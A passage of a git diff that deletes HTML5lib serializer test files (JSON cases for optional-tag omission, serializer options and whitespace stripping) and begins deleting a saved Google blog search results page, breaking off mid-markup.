- "input": [["StartTag", "body", {}], ["StartTag", "foo", {}]],
- "expected": ["<foo>"]
-},
-
-{"description": "body start-tag followed by end-tag",
- "input": [["StartTag", "body", {}], ["EndTag", "foo", {}]],
- "expected": ["</foo>"]
-},
-
-{"description": "body start-tag at EOF (shouldn't ever happen?!)",
- "input": [["StartTag", "body", {}]],
- "expected": [""]
-},
-
-
-
-{"description": "body end-tag followed by comment",
- "input": [["EndTag", "body"], ["Comment", "foo"]],
- "expected": ["</body><!--foo-->"]
-},
-
-{"description": "body end-tag followed by space character",
- "input": [["EndTag", "body"], ["Characters", " foo"]],
- "expected": ["</body> foo"]
-},
-
-{"description": "body end-tag followed by text",
- "input": [["EndTag", "body"], ["Characters", "foo"]],
- "expected": ["foo"]
-},
-
-{"description": "body end-tag followed by start-tag",
- "input": [["EndTag", "body"], ["StartTag", "foo", {}]],
- "expected": ["<foo>"]
-},
-
-{"description": "body end-tag followed by end-tag",
- "input": [["EndTag", "body"], ["EndTag", "foo", {}]],
- "expected": ["</foo>"]
-},
-
-{"description": "body end-tag at EOF",
- "input": [["EndTag", "body"]],
- "expected": [""]
-},
-
-
-
-
-{"description": "li end-tag followed by comment",
- "input": [["EndTag", "li"], ["Comment", "foo"]],
- "expected": ["</li><!--foo-->"]
-},
-
-{"description": "li end-tag followed by space character",
- "input": [["EndTag", "li"], ["Characters", " foo"]],
- "expected": ["</li> foo"]
-},
-
-{"description": "li end-tag followed by text",
- "input": [["EndTag", "li"], ["Characters", "foo"]],
- "expected": ["</li>foo"]
-},
-
-{"description": "li end-tag followed by start-tag",
- "input": [["EndTag", "li"], ["StartTag", "foo", {}]],
- "expected": ["</li><foo>"]
-},
-
-{"description": "li end-tag followed by li start-tag",
- "input": [["EndTag", "li"], ["StartTag", "li", {}]],
- "expected": ["<li>"]
-},
-
-{"description": "li end-tag followed by end-tag",
- "input": [["EndTag", "li"], ["EndTag", "foo", {}]],
- "expected": ["</foo>"]
-},
-
-{"description": "li end-tag at EOF",
- "input": [["EndTag", "li"]],
- "expected": [""]
-},
-
-
-
-
-{"description": "dt end-tag followed by comment",
- "input": [["EndTag", "dt"], ["Comment", "foo"]],
- "expected": ["</dt><!--foo-->"]
-},
-
-{"description": "dt end-tag followed by space character",
- "input": [["EndTag", "dt"], ["Characters", " foo"]],
- "expected": ["</dt> foo"]
-},
-
-{"description": "dt end-tag followed by text",
- "input": [["EndTag", "dt"], ["Characters", "foo"]],
- "expected": ["</dt>foo"]
-},
-
-{"description": "dt end-tag followed by start-tag",
- "input": [["EndTag", "dt"], ["StartTag", "foo", {}]],
- "expected": ["</dt><foo>"]
-},
-
-{"description": "dt end-tag followed by dt start-tag",
- "input": [["EndTag", "dt"], ["StartTag", "dt", {}]],
- "expected": ["<dt>"]
-},
-
-{"description": "dt end-tag followed by dd start-tag",
- "input": [["EndTag", "dt"], ["StartTag", "dd", {}]],
- "expected": ["<dd>"]
-},
-
-{"description": "dt end-tag followed by end-tag",
- "input": [["EndTag", "dt"], ["EndTag", "foo", {}]],
- "expected": ["</dt></foo>"]
-},
-
-{"description": "dt end-tag at EOF",
- "input": [["EndTag", "dt"]],
- "expected": ["</dt>"]
-},
-
-
-
-
-{"description": "dd end-tag followed by comment",
- "input": [["EndTag", "dd"], ["Comment", "foo"]],
- "expected": ["</dd><!--foo-->"]
-},
-
-{"description": "dd end-tag followed by space character",
- "input": [["EndTag", "dd"], ["Characters", " foo"]],
- "expected": ["</dd> foo"]
-},
-
-{"description": "dd end-tag followed by text",
- "input": [["EndTag", "dd"], ["Characters", "foo"]],
- "expected": ["</dd>foo"]
-},
-
-{"description": "dd end-tag followed by start-tag",
- "input": [["EndTag", "dd"], ["StartTag", "foo", {}]],
- "expected": ["</dd><foo>"]
-},
-
-{"description": "dd end-tag followed by dd start-tag",
- "input": [["EndTag", "dd"], ["StartTag", "dd", {}]],
- "expected": ["<dd>"]
-},
-
-{"description": "dd end-tag followed by dt start-tag",
- "input": [["EndTag", "dd"], ["StartTag", "dt", {}]],
- "expected": ["<dt>"]
-},
-
-{"description": "dd end-tag followed by end-tag",
- "input": [["EndTag", "dd"], ["EndTag", "foo", {}]],
- "expected": ["</foo>"]
-},
-
-{"description": "dd end-tag at EOF",
- "input": [["EndTag", "dd"]],
- "expected": [""]
-},
-
-
-
-
-{"description": "p end-tag followed by comment",
- "input": [["EndTag", "p"], ["Comment", "foo"]],
- "expected": ["</p><!--foo-->"]
-},
-
-{"description": "p end-tag followed by space character",
- "input": [["EndTag", "p"], ["Characters", " foo"]],
- "expected": ["</p> foo"]
-},
-
-{"description": "p end-tag followed by text",
- "input": [["EndTag", "p"], ["Characters", "foo"]],
- "expected": ["</p>foo"]
-},
-
-{"description": "p end-tag followed by start-tag",
- "input": [["EndTag", "p"], ["StartTag", "foo", {}]],
- "expected": ["</p><foo>"]
-},
-
-{"description": "p end-tag followed by address start-tag",
- "input": [["EndTag", "p"], ["StartTag", "address", {}]],
- "expected": ["<address>"]
-},
-
-{"description": "p end-tag followed by blockquote start-tag",
- "input": [["EndTag", "p"], ["StartTag", "blockquote", {}]],
- "expected": ["<blockquote>"]
-},
-
-{"description": "p end-tag followed by dl start-tag",
- "input": [["EndTag", "p"], ["StartTag", "dl", {}]],
- "expected": ["<dl>"]
-},
-
-{"description": "p end-tag followed by fieldset start-tag",
- "input": [["EndTag", "p"], ["StartTag", "fieldset", {}]],
- "expected": ["<fieldset>"]
-},
-
-{"description": "p end-tag followed by form start-tag",
- "input": [["EndTag", "p"], ["StartTag", "form", {}]],
- "expected": ["<form>"]
-},
-
-{"description": "p end-tag followed by h1 start-tag",
- "input": [["EndTag", "p"], ["StartTag", "h1", {}]],
- "expected": ["<h1>"]
-},
-
-{"description": "p end-tag followed by h2 start-tag",
- "input": [["EndTag", "p"], ["StartTag", "h2", {}]],
- "expected": ["<h2>"]
-},
-
-{"description": "p end-tag followed by h3 start-tag",
- "input": [["EndTag", "p"], ["StartTag", "h3", {}]],
- "expected": ["<h3>"]
-},
-
-{"description": "p end-tag followed by h4 start-tag",
- "input": [["EndTag", "p"], ["StartTag", "h4", {}]],
- "expected": ["<h4>"]
-},
-
-{"description": "p end-tag followed by h5 start-tag",
- "input": [["EndTag", "p"], ["StartTag", "h5", {}]],
- "expected": ["<h5>"]
-},
-
-{"description": "p end-tag followed by h6 start-tag",
- "input": [["EndTag", "p"], ["StartTag", "h6", {}]],
- "expected": ["<h6>"]
-},
-
-{"description": "p end-tag followed by hr start-tag",
- "input": [["EndTag", "p"], ["StartTag", "hr", {}]],
- "expected": ["<hr>"]
-},
-
-{"description": "p end-tag followed by menu start-tag",
- "input": [["EndTag", "p"], ["StartTag", "menu", {}]],
- "expected": ["<menu>"]
-},
-
-{"description": "p end-tag followed by ol start-tag",
- "input": [["EndTag", "p"], ["StartTag", "ol", {}]],
- "expected": ["<ol>"]
-},
-
-{"description": "p end-tag followed by p start-tag",
- "input": [["EndTag", "p"], ["StartTag", "p", {}]],
- "expected": ["<p>"]
-},
-
-{"description": "p end-tag followed by pre start-tag",
- "input": [["EndTag", "p"], ["StartTag", "pre", {}]],
- "expected": ["<pre>"]
-},
-
-{"description": "p end-tag followed by table start-tag",
- "input": [["EndTag", "p"], ["StartTag", "table", {}]],
- "expected": ["<table>"]
-},
-
-{"description": "p end-tag followed by ul start-tag",
- "input": [["EndTag", "p"], ["StartTag", "ul", {}]],
- "expected": ["<ul>"]
-},
-
-{"description": "p end-tag followed by end-tag",
- "input": [["EndTag", "p"], ["EndTag", "foo", {}]],
- "expected": ["</foo>"]
-},
-
-{"description": "p end-tag at EOF",
- "input": [["EndTag", "p"]],
- "expected": [""]
-},
-
-
-
-
-{"description": "optgroup end-tag followed by comment",
- "input": [["EndTag", "optgroup"], ["Comment", "foo"]],
- "expected": ["</optgroup><!--foo-->"]
-},
-
-{"description": "optgroup end-tag followed by space character",
- "input": [["EndTag", "optgroup"], ["Characters", " foo"]],
- "expected": ["</optgroup> foo"]
-},
-
-{"description": "optgroup end-tag followed by text",
- "input": [["EndTag", "optgroup"], ["Characters", "foo"]],
- "expected": ["</optgroup>foo"]
-},
-
-{"description": "optgroup end-tag followed by start-tag",
- "input": [["EndTag", "optgroup"], ["StartTag", "foo", {}]],
- "expected": ["</optgroup><foo>"]
-},
-
-{"description": "optgroup end-tag followed by optgroup start-tag",
- "input": [["EndTag", "optgroup"], ["StartTag", "optgroup", {}]],
- "expected": ["<optgroup>"]
-},
-
-{"description": "optgroup end-tag followed by end-tag",
- "input": [["EndTag", "optgroup"], ["EndTag", "foo", {}]],
- "expected": ["</foo>"]
-},
-
-{"description": "optgroup end-tag at EOF",
- "input": [["EndTag", "optgroup"]],
- "expected": [""]
-},
-
-
-
-
-{"description": "option end-tag followed by comment",
- "input": [["EndTag", "option"], ["Comment", "foo"]],
- "expected": ["</option><!--foo-->"]
-},
-
-{"description": "option end-tag followed by space character",
- "input": [["EndTag", "option"], ["Characters", " foo"]],
- "expected": ["</option> foo"]
-},
-
-{"description": "option end-tag followed by text",
- "input": [["EndTag", "option"], ["Characters", "foo"]],
- "expected": ["</option>foo"]
-},
-
-{"description": "option end-tag followed by start-tag",
- "input": [["EndTag", "option"], ["StartTag", "foo", {}]],
- "expected": ["</option><foo>"]
-},
-
-{"description": "option end-tag followed by option start-tag",
- "input": [["EndTag", "option"], ["StartTag", "option", {}]],
- "expected": ["<option>"]
-},
-
-{"description": "option end-tag followed by end-tag",
- "input": [["EndTag", "option"], ["EndTag", "foo", {}]],
- "expected": ["</foo>"]
-},
-
-{"description": "option end-tag at EOF",
- "input": [["EndTag", "option"]],
- "expected": [""]
-},
-
-
-
-
-{"description": "colgroup start-tag followed by comment",
- "input": [["StartTag", "colgroup", {}], ["Comment", "foo"]],
- "expected": ["<colgroup><!--foo-->"]
-},
-
-{"description": "colgroup start-tag followed by space character",
- "input": [["StartTag", "colgroup", {}], ["Characters", " foo"]],
- "expected": ["<colgroup> foo"]
-},
-
-{"description": "colgroup start-tag followed by text",
- "input": [["StartTag", "colgroup", {}], ["Characters", "foo"]],
- "expected": ["<colgroup>foo"]
-},
-
-{"description": "colgroup start-tag followed by start-tag",
- "input": [["StartTag", "colgroup", {}], ["StartTag", "foo", {}]],
- "expected": ["<colgroup><foo>"]
-},
-
-{"description": "first colgroup in a table with a col child",
- "input": [["StartTag", "table", {}], ["StartTag", "colgroup", {}], ["StartTag", "col", {}]],
- "expected": ["<table><col>"]
-},
-
-{"description": "colgroup with a col child, following another colgroup",
- "input": [["EndTag", "colgroup", {}], ["StartTag", "colgroup", {}], ["StartTag", "col", {}]],
- "expected": ["</colgroup><col>", "<colgroup><col>"]
-},
-
-{"description": "colgroup start-tag followed by end-tag",
- "input": [["StartTag", "colgroup", {}], ["EndTag", "foo", {}]],
- "expected": ["<colgroup></foo>"]
-},
-
-{"description": "colgroup start-tag at EOF",
- "input": [["StartTag", "colgroup", {}]],
- "expected": ["<colgroup>"]
-},
-
-
-
-{"description": "colgroup end-tag followed by comment",
- "input": [["EndTag", "colgroup"], ["Comment", "foo"]],
- "expected": ["</colgroup><!--foo-->"]
-},
-
-{"description": "colgroup end-tag followed by space character",
- "input": [["EndTag", "colgroup"], ["Characters", " foo"]],
- "expected": ["</colgroup> foo"]
-},
-
-{"description": "colgroup end-tag followed by text",
- "input": [["EndTag", "colgroup"], ["Characters", "foo"]],
- "expected": ["foo"]
-},
-
-{"description": "colgroup end-tag followed by start-tag",
- "input": [["EndTag", "colgroup"], ["StartTag", "foo", {}]],
- "expected": ["<foo>"]
-},
-
-{"description": "colgroup end-tag followed by end-tag",
- "input": [["EndTag", "colgroup"], ["EndTag", "foo", {}]],
- "expected": ["</foo>"]
-},
-
-{"description": "colgroup end-tag at EOF",
- "input": [["EndTag", "colgroup"]],
- "expected": [""]
-},
-
-
-
-
-{"description": "thead end-tag followed by comment",
- "input": [["EndTag", "thead"], ["Comment", "foo"]],
- "expected": ["</thead><!--foo-->"]
-},
-
-{"description": "thead end-tag followed by space character",
- "input": [["EndTag", "thead"], ["Characters", " foo"]],
- "expected": ["</thead> foo"]
-},
-
-{"description": "thead end-tag followed by text",
- "input": [["EndTag", "thead"], ["Characters", "foo"]],
- "expected": ["</thead>foo"]
-},
-
-{"description": "thead end-tag followed by start-tag",
- "input": [["EndTag", "thead"], ["StartTag", "foo", {}]],
- "expected": ["</thead><foo>"]
-},
-
-{"description": "thead end-tag followed by tbody start-tag",
- "input": [["EndTag", "thead"], ["StartTag", "tbody", {}]],
- "expected": ["<tbody>"]
-},
-
-{"description": "thead end-tag followed by tfoot start-tag",
- "input": [["EndTag", "thead"], ["StartTag", "tfoot", {}]],
- "expected": ["<tfoot>"]
-},
-
-{"description": "thead end-tag followed by end-tag",
- "input": [["EndTag", "thead"], ["EndTag", "foo", {}]],
- "expected": ["</thead></foo>"]
-},
-
-{"description": "thead end-tag at EOF",
- "input": [["EndTag", "thead"]],
- "expected": ["</thead>"]
-},
-
-
-
-
-{"description": "tbody start-tag followed by comment",
- "input": [["StartTag", "tbody", {}], ["Comment", "foo"]],
- "expected": ["<tbody><!--foo-->"]
-},
-
-{"description": "tbody start-tag followed by space character",
- "input": [["StartTag", "tbody", {}], ["Characters", " foo"]],
- "expected": ["<tbody> foo"]
-},
-
-{"description": "tbody start-tag followed by text",
- "input": [["StartTag", "tbody", {}], ["Characters", "foo"]],
- "expected": ["<tbody>foo"]
-},
-
-{"description": "tbody start-tag followed by start-tag",
- "input": [["StartTag", "tbody", {}], ["StartTag", "foo", {}]],
- "expected": ["<tbody><foo>"]
-},
-
-{"description": "first tbody in a table with a tr child",
- "input": [["StartTag", "table", {}], ["StartTag", "tbody", {}], ["StartTag", "tr", {}]],
- "expected": ["<table><tr>"]
-},
-
-{"description": "tbody with a tr child, following another tbody",
- "input": [["EndTag", "tbody", {}], ["StartTag", "tbody", {}], ["StartTag", "tr", {}]],
- "expected": ["<tbody><tr>", "</tbody><tr>"]
-},
-
-{"description": "tbody with a tr child, following a thead",
- "input": [["EndTag", "thead", {}], ["StartTag", "tbody", {}], ["StartTag", "tr", {}]],
- "expected": ["<tbody><tr>", "</thead><tr>"]
-},
-
-{"description": "tbody with a tr child, following a tfoot",
- "input": [["EndTag", "tfoot", {}], ["StartTag", "tbody", {}], ["StartTag", "tr", {}]],
- "expected": ["<tbody><tr>", "</tfoot><tr>"]
-},
-
-{"description": "tbody start-tag followed by end-tag",
- "input": [["StartTag", "tbody", {}], ["EndTag", "foo", {}]],
- "expected": ["<tbody></foo>"]
-},
-
-{"description": "tbody start-tag at EOF",
- "input": [["StartTag", "tbody", {}]],
- "expected": ["<tbody>"]
-},
-
-
-
-{"description": "tbody end-tag followed by comment",
- "input": [["EndTag", "tbody"], ["Comment", "foo"]],
- "expected": ["</tbody><!--foo-->"]
-},
-
-{"description": "tbody end-tag followed by space character",
- "input": [["EndTag", "tbody"], ["Characters", " foo"]],
- "expected": ["</tbody> foo"]
-},
-
-{"description": "tbody end-tag followed by text",
- "input": [["EndTag", "tbody"], ["Characters", "foo"]],
- "expected": ["</tbody>foo"]
-},
-
-{"description": "tbody end-tag followed by start-tag",
- "input": [["EndTag", "tbody"], ["StartTag", "foo", {}]],
- "expected": ["</tbody><foo>"]
-},
-
-{"description": "tbody end-tag followed by tbody start-tag",
- "input": [["EndTag", "tbody"], ["StartTag", "tbody", {}]],
- "expected": ["<tbody>", "</tbody>"]
-},
-
-{"description": "tbody end-tag followed by tfoot start-tag",
- "input": [["EndTag", "tbody"], ["StartTag", "tfoot", {}]],
- "expected": ["<tfoot>"]
-},
-
-{"description": "tbody end-tag followed by end-tag",
- "input": [["EndTag", "tbody"], ["EndTag", "foo", {}]],
- "expected": ["</foo>"]
-},
-
-{"description": "tbody end-tag at EOF",
- "input": [["EndTag", "tbody"]],
- "expected": [""]
-},
-
-
-
-
-{"description": "tfoot end-tag followed by comment",
- "input": [["EndTag", "tfoot"], ["Comment", "foo"]],
- "expected": ["</tfoot><!--foo-->"]
-},
-
-{"description": "tfoot end-tag followed by space character",
- "input": [["EndTag", "tfoot"], ["Characters", " foo"]],
- "expected": ["</tfoot> foo"]
-},
-
-{"description": "tfoot end-tag followed by text",
- "input": [["EndTag", "tfoot"], ["Characters", "foo"]],
- "expected": ["</tfoot>foo"]
-},
-
-{"description": "tfoot end-tag followed by start-tag",
- "input": [["EndTag", "tfoot"], ["StartTag", "foo", {}]],
- "expected": ["</tfoot><foo>"]
-},
-
-{"description": "tfoot end-tag followed by tbody start-tag",
- "input": [["EndTag", "tfoot"], ["StartTag", "tbody", {}]],
- "expected": ["<tbody>", "</tfoot>"]
-},
-
-{"description": "tfoot end-tag followed by end-tag",
- "input": [["EndTag", "tfoot"], ["EndTag", "foo", {}]],
- "expected": ["</foo>"]
-},
-
-{"description": "tfoot end-tag at EOF",
- "input": [["EndTag", "tfoot"]],
- "expected": [""]
-},
-
-
-
-
-{"description": "tr end-tag followed by comment",
- "input": [["EndTag", "tr"], ["Comment", "foo"]],
- "expected": ["</tr><!--foo-->"]
-},
-
-{"description": "tr end-tag followed by space character",
- "input": [["EndTag", "tr"], ["Characters", " foo"]],
- "expected": ["</tr> foo"]
-},
-
-{"description": "tr end-tag followed by text",
- "input": [["EndTag", "tr"], ["Characters", "foo"]],
- "expected": ["</tr>foo"]
-},
-
-{"description": "tr end-tag followed by start-tag",
- "input": [["EndTag", "tr"], ["StartTag", "foo", {}]],
- "expected": ["</tr><foo>"]
-},
-
-{"description": "tr end-tag followed by tr start-tag",
- "input": [["EndTag", "tr"], ["StartTag", "tr", {}]],
- "expected": ["<tr>", "</tr>"]
-},
-
-{"description": "tr end-tag followed by end-tag",
- "input": [["EndTag", "tr"], ["EndTag", "foo", {}]],
- "expected": ["</foo>"]
-},
-
-{"description": "tr end-tag at EOF",
- "input": [["EndTag", "tr"]],
- "expected": [""]
-},
-
-
-
-
-{"description": "td end-tag followed by comment",
- "input": [["EndTag", "td"], ["Comment", "foo"]],
- "expected": ["</td><!--foo-->"]
-},
-
-{"description": "td end-tag followed by space character",
- "input": [["EndTag", "td"], ["Characters", " foo"]],
- "expected": ["</td> foo"]
-},
-
-{"description": "td end-tag followed by text",
- "input": [["EndTag", "td"], ["Characters", "foo"]],
- "expected": ["</td>foo"]
-},
-
-{"description": "td end-tag followed by start-tag",
- "input": [["EndTag", "td"], ["StartTag", "foo", {}]],
- "expected": ["</td><foo>"]
-},
-
-{"description": "td end-tag followed by td start-tag",
- "input": [["EndTag", "td"], ["StartTag", "td", {}]],
- "expected": ["<td>", "</td>"]
-},
-
-{"description": "td end-tag followed by th start-tag",
- "input": [["EndTag", "td"], ["StartTag", "th", {}]],
- "expected": ["<th>", "</td>"]
-},
-
-{"description": "td end-tag followed by end-tag",
- "input": [["EndTag", "td"], ["EndTag", "foo", {}]],
- "expected": ["</foo>"]
-},
-
-{"description": "td end-tag at EOF",
- "input": [["EndTag", "td"]],
- "expected": [""]
-},
-
-
-
-
-{"description": "th end-tag followed by comment",
- "input": [["EndTag", "th"], ["Comment", "foo"]],
- "expected": ["</th><!--foo-->"]
-},
-
-{"description": "th end-tag followed by space character",
- "input": [["EndTag", "th"], ["Characters", " foo"]],
- "expected": ["</th> foo"]
-},
-
-{"description": "th end-tag followed by text",
- "input": [["EndTag", "th"], ["Characters", "foo"]],
- "expected": ["</th>foo"]
-},
-
-{"description": "th end-tag followed by start-tag",
- "input": [["EndTag", "th"], ["StartTag", "foo", {}]],
- "expected": ["</th><foo>"]
-},
-
-{"description": "th end-tag followed by th start-tag",
- "input": [["EndTag", "th"], ["StartTag", "th", {}]],
- "expected": ["<th>", "</th>"]
-},
-
-{"description": "th end-tag followed by td start-tag",
- "input": [["EndTag", "th"], ["StartTag", "td", {}]],
- "expected": ["<td>", "</th>"]
-},
-
-{"description": "th end-tag followed by end-tag",
- "input": [["EndTag", "th"], ["EndTag", "foo", {}]],
- "expected": ["</foo>"]
-},
-
-{"description": "th end-tag at EOF",
- "input": [["EndTag", "th"]],
- "expected": [""]
-}
-
-]}
diff --git a/attic/vendor/plugins/HTML5lib/testdata/serializer/options.test b/attic/vendor/plugins/HTML5lib/testdata/serializer/options.test
deleted file mode 100644
index 5f8fadb3..00000000
--- a/attic/vendor/plugins/HTML5lib/testdata/serializer/options.test
+++ /dev/null
@@ -1,60 +0,0 @@
-{"tests":[
-
-{"description": "quote_char=\"'\"",
- "options": {"quote_char": "'"},
- "input": [["StartTag", "span", {"title": "test 'with' quote_char"}]],
- "expected": ["<span title='test &#39;with&#39; quote_char'>"]
-},
-
-{"description": "quote_attr_values=true",
- "options": {"quote_attr_values": true},
- "input": [["StartTag", "button", {"disabled": "disabled"}]],
- "expected": ["<button disabled>"],
- "xhtml":    ["<button disabled=\"disabled\">"]
-},
-
-{"description": "quote_attr_values=true with irrelevant",
- "options": {"quote_attr_values": true},
- "input": [["StartTag", "div", {"irrelevant": "irrelevant"}]],
- "expected": ["<div irrelevant>"],
- "xhtml":    ["<div irrelevant=\"irrelevant\">"]
-},
-
-{"description": "use_trailing_solidus=true with void element",
- "options": {"use_trailing_solidus": true},
- "input": [["EmptyTag", "img", {}]],
- "expected": ["<img />"]
-},
-
-{"description": "use_trailing_solidus=true with non-void element",
- "options": {"use_trailing_solidus": true},
- "input": [["StartTag", "div", {}]],
- "expected": ["<div>"]
-},
-
-{"description": "minimize_boolean_attributes=false",
- "options": {"minimize_boolean_attributes": false},
- "input": [["StartTag", "div", {"irrelevant": "irrelevant"}]],
- "expected": ["<div irrelevant=irrelevant>"],
- "xhtml":    ["<div irrelevant=\"irrelevant\">"]
-},
-
-{"description": "minimize_boolean_attributes=false with empty value",
- "options": {"minimize_boolean_attributes": false},
- "input": [["StartTag", "div", {"irrelevant": ""}]],
- "expected": ["<div irrelevant=\"\">"]
-},
-
-{"description": "escape less than signs in attribute values",
- "options": {"escape_lt_in_attrs": true},
- "input": [["StartTag", "a", {"title": "a<b>c&d"}]],
- "expected": ["<a title=\"a&lt;b>c&amp;d\">"]
-},
-
-{"description": "rcdata",
- "options": {"escape_rcdata": true},
- "input": [["StartTag", "script", {}], ["Characters", "a<b>c&d"]],
- "expected": ["<script>a&lt;b&gt;c&amp;d"]
-}
-
-]}
diff --git a/attic/vendor/plugins/HTML5lib/testdata/serializer/whitespace.test b/attic/vendor/plugins/HTML5lib/testdata/serializer/whitespace.test
deleted file mode 100644
index 53a62109..00000000
--- a/attic/vendor/plugins/HTML5lib/testdata/serializer/whitespace.test
+++ /dev/null
@@ -1,51 +0,0 @@
-{"tests": [
-
-{"description": "bare text with leading spaces",
- "options": {"strip_whitespace": true},
- "input": [["Characters", "\t\r\n\u000B\u000C foo"]],
- "expected": [" foo"]
-},
-
-{"description": "bare text with trailing spaces",
- "options": {"strip_whitespace": true},
- "input": [["Characters", "foo \t\r\n\u000B\u000C"]],
- "expected": ["foo "]
-},
-
-{"description": "bare text with inner spaces",
- "options": {"strip_whitespace": true},
- "input": [["Characters", "foo \t\r\n\u000B\u000C bar"]],
- "expected": ["foo bar"]
-},
-
-{"description": "text within <pre>",
- "options": {"strip_whitespace": true},
- "input": [["StartTag", "pre", {}], ["Characters", "\t\r\n\u000B\u000C foo \t\r\n\u000B\u000C bar \t\r\n\u000B\u000C"], ["EndTag", "pre"]],
- "expected": ["<pre>\t\r\n\u000B\u000C foo \t\r\n\u000B\u000C bar \t\r\n\u000B\u000C</pre>"]
-},
-
-{"description": "text within <pre>, with inner markup",
- "options": {"strip_whitespace": true},
- "input": [["StartTag", "pre", {}], ["Characters", "\t\r\n\u000B\u000C fo"], ["StartTag", "span", {}], ["Characters", "o \t\r\n\u000B\u000C b"], ["EndTag", "span"], ["Characters", "ar \t\r\n\u000B\u000C"], ["EndTag", "pre"]],
- "expected": ["<pre>\t\r\n\u000B\u000C fo<span>o \t\r\n\u000B\u000C b</span>ar \t\r\n\u000B\u000C</pre>"]
-},
-
-{"description": "text within <textarea>",
- "options": {"strip_whitespace": true},
- "input": [["StartTag", "textarea", {}], ["Characters", "\t\r\n\u000B\u000C foo \t\r\n\u000B\u000C bar \t\r\n\u000B\u000C"], ["EndTag", "textarea"]],
- "expected": ["<textarea>\t\r\n\u000B\u000C foo \t\r\n\u000B\u000C bar \t\r\n\u000B\u000C</textarea>"]
-},
-
-{"description": "text within <script>",
- "options": {"strip_whitespace": true},
- "input": [["StartTag", "script", {}], ["Characters", "\t\r\n\u000B\u000C foo \t\r\n\u000B\u000C bar \t\r\n\u000B\u000C"], ["EndTag", "script"]],
- "expected": ["<script>\t\r\n\u000B\u000C foo \t\r\n\u000B\u000C bar \t\r\n\u000B\u000C</script>"]
-},
-
-{"description": "text within <style>",
- "options": {"strip_whitespace": true},
- "input": [["StartTag", "style", {}], ["Characters", "\t\r\n\u000B\u000C foo \t\r\n\u000B\u000C bar \t\r\n\u000B\u000C"], ["EndTag", "style"]],
- "expected": ["<style>\t\r\n\u000B\u000C foo \t\r\n\u000B\u000C bar \t\r\n\u000B\u000C</style>"]
-}
-
-]}
\ No newline at end of file
diff --git a/attic/vendor/plugins/HTML5lib/testdata/sites/google-results.htm b/attic/vendor/plugins/HTML5lib/testdata/sites/google-results.htm
deleted file mode 100755
index 7f38ae4f..00000000
--- a/attic/vendor/plugins/HTML5lib/testdata/sites/google-results.htm
+++ /dev/null
@@ -1 +0,0 @@
-<html><head><meta HTTP-EQUIV="content-type" CONTENT="text/html; charset=UTF-8"><link rel="alternate" type="application/atom+xml" title="Atom"  href="http://blogsearch.google.com/blogsearch_feeds?hl=nlAMPERSANDamp;lr=AMPERSANDq=We%27re+sorry,+but+we+were+unable+to+complete+your+request.AMPERSANDie=utf-8AMPERSANDnum=10AMPERSANDoutput=atom" /><link rel="alternate" type="application/rss+xml" title="RSS"  href="http://blogsearch.google.com/blogsearch_feeds?hl=nlAMPERSANDamp;lr=AMPERSANDq=We%27re+sorry,+but+we+were+unable+to+complete+your+request.AMPERSANDie=utf-8AMPERSANDnum=10AMPERSANDoutput=rss" /><title>Google Zoeken in blogs: WeAMPERSAND#39;re sorry, but we were unable to complete your request.</title><style type="text/css"><!--body,td,div,.p,a{font-family:arial,sans-serif }div,td{color:#000}.f,.fl:link{color:#7777CC}a:link,.w,a.w:link,.w a:link{color:#00c}a:visited,.fl:visited{color:#551a8b}a:active,.fl:active{color:#f00}.t a:link,.t a:active,.t a:visited,.t{color:#000}.t{background-color:#e5ecf9}.k{background-color:#36c}.j{width:38em}.h{color:#36c;font-size:14px}.i,.i:link{color:#a90a08}.a,.a:link{color:#008000}.z{display:none}div.n {margin-top: 1ex}.n a{font-size:10pt; color:#000}.n .i{font-size:10pt; font-weight:bold}.q a:visited,.q a:link,.q a:active,.q {color: #00c; }.b{font-size: 12pt; color:#00c; font-weight:bold}.ch{cursor:pointer;cursor:hand}.e{margin-top: .75em; margin-bottom: .75em}.g{color:#f00; margin-top: 1em; margin-bottom: 1em}.blogresults2 { line-height:18px;}p.pr{margin:30px 0 0 0;}ul.pr{margin:0; padding-left:20px;}ul.pr li{margin-top:2px; list-style: disc;}//--></style><script src="/blogsearch/cscript/calpop-tight2.js" type="text/javascript"></script><script><!--function ss(w){window.status=w;return true;}function cs(){window.status='';}function ga(o,e){if (document.getElementById) {a=o.id.substring(1);p = "";r = "";g = e.target;if (g) {t = g.id;f = g.parentNode;if (f) {p = f.id;h = f.parentNode;if (h) r = h.id;}} else {h = e.srcElement;f = h.parentNode;if (f) p = f.id;t = h.id;}if (t==a || p==a || r==a) return true;location.href=document.getElementById(a).href}}//-->function clk(url,ct,cd,cad,sg){return function() {window.status = url;var rwurl = escape(url.href).replace(/\+/g,"%2B");var rdh = '';var rdp = '';if (rdh.length > 0 AMPERSANDAMPERSAND rdp.length > 0) {if ((url.host == rdh || url.hostname == rdh) AMPERSANDAMPERSANDurl.pathname == rdp) {if (url.search.length) {var fields = url.search.split('AMPERSAND');for (var f = 0; f < fields.length; f++) {var field = fields[f].split('=');if (field[0] == 'q' ) {rwurl = escape(field[1]).replace(/\+/g,"%2B");break;}}}}}(new Image()).src="/blogsearch/url?sa=TAMPERSANDct="+escape(ct)+"AMPERSANDcd="+escape(cd)+"AMPERSANDcad="+escape(cad)+"AMPERSANDurl="+rwurl+"AMPERSANDei="+sg;return true;}}function rl() {if (document.images) {var h = location.hostname;var nln = document.links.length;for (var i = 0; i < nln; ++i) {var ln = document.links[i];if (ln.id) {if (ln.host == h || ln.hostname == h) {continue;}var posIdArray = ln.id.split("-");if ( posIdArray.length != 2 ||(posIdArray[0] != "p" AMPERSANDAMPERSAND posIdArray[0] != "b" AMPERSANDAMPERSANDposIdArray[0] != "pb") ||Number(posIdArray[1]) == Number.NaN) {continue;}ln.onmousedown = clk(ln, "res",posIdArray[1],posIdArray[0], '');}}}}</script></head><body onLoad="document.gs.reset();rl()" topmargin="2" bgcolor="#ffffff"marginheight="2"><table border="0" cellpadding="0" cellspacing="0"><tbody><tr><td><a href="http://blogsearch.google.com/blogsearch?hl=nl"><img src="/blogsearch/intl/nl_ALL/images/g_bsrch_logo_sm.gif" border="0" vspace="3"  width=150 height=55 alt="Naar startpagina van Zoeken in blogs"></a></td><td>AMPERSAND|nbsp;AMPERSAND|nbsp;</td><td valign="top"><table border="0" cellpadding="0" cellspacing="0"><tbody><tr><td colspan=2><script defer><!--function qs(el){if(window.RegExpAMPERSANDAMPERSANDwindow.encodeURIComponent){var ue=el.href,qe=encodeURIComponent(document.gs.q.value);if(ue.indexOf("q=")!=-1){el.href=ue.replace(new RegExp("q=[^AMPERSAND$]*"),"q="+qe);}else{el.href=ue+"AMPERSANDq="+qe;}}return 1;}//--></script><table border=0 cellspacing=0 cellpadding=4><tr><td nowrap><font size=-1><a class=q 